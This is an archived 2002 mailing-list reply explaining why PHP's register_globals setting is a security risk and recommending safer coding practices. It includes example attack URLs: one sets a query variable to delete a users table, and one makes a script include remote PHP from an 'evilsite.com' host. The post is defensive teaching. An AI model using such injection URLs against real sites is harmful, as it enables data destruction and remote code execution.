Hello Christensen, Thursday, December 5, 2002, 10:58:47 PM, you textually orated: CT> After 2 hours of messing with it, and about 10 minutes after I posted to CT> this list I figured that out :) CT> Thanks! CT> How is having register_globals off better for security? Do you know the CT> specifics of why they recommend that? I am doing it with register_globals CT> off, but typing $_POST everywhere that used to just be $var is annoying. CT> I don't really want to redue all my scripts for no reason if this doesn't CT> really improve security.
Well, it all depends on how you write your code. THIS IS UNSAFE! <?php $sql = "select * from users;"; db_query($sql); // Some code to output results ... ?> Some one could simply enter a URL of http://www.yoursite.tld/yourscript.php?sql=delete%20from%20users; and the result would be that your entire table is wiped clean. Obviously other possibilities exist here as well. A very common example of this is that many programmers have used something like... include ("$includedir/includeme.php); in their scripts forgetting that PHP can resolve URLs in include statments and if someone changes the request to... http://www.yoursite.tld/yourscript.php?includedir=http://www.evilsite.com they can include ANY PHP code they wish into your script (VERY BAD). Both of these examples would be prevented by turning off the register_globals option. The problem here is they are both examples of poorly written code. So basically this is a case of trying to protect those who don't pay attention to what they are doing. Something like the above "$includedir" should never have been a variable to begin with. It is obviously a constant and should have been defined. Constants can not be changed. define ("INCLUDE_DIR", "/path/to/files"); ... include (INCLUDE_DIR."/includeme.php); Other important variables are easily protected using the unset function. unset ($sql, $important, $other_important, $etc); ... ... $sql = "select * from users;"; ... So you have your choice of how to protect your code. I feel that the register_globals thing though will simply provide another false sense of security. While it will clearly protect the above bad coding practices, it does NOT mean that the user input is properly sanitized. It does not mean that you are safe from SQL injection, or if you assume that you will be limited to only those POST variables that you expect to see (wget will let you send whatever you want as post instead of get so that isn't much of a deterrent as no sophisticated tools are required). If you depend on the user supplying proper information IN ANY WAY you are vulnerable. You can learn more about why the developers of PHP made this change here... http://www.php.net/manual/en/security.registerglobals.php But take note of this... "Of course, simply turning off register_globals does not mean code is secure. For every piece of data that is submitted, it should also be checked in other ways." The only way for security is to write good, safe code. Period. Have fun, -- _________________________________________________________________ Brian Ashe CTO [EMAIL PROTECTED] Dee-Web Software Services, LLC. http://www.dee-web.com/ ----------------------------------------------------------------- -- redhat-list mailing list unsubscribe mailto:[EMAIL PROTECTED]?subject=unsubscribe https://listman.redhat.com/mailman/listinfo/redhat-list
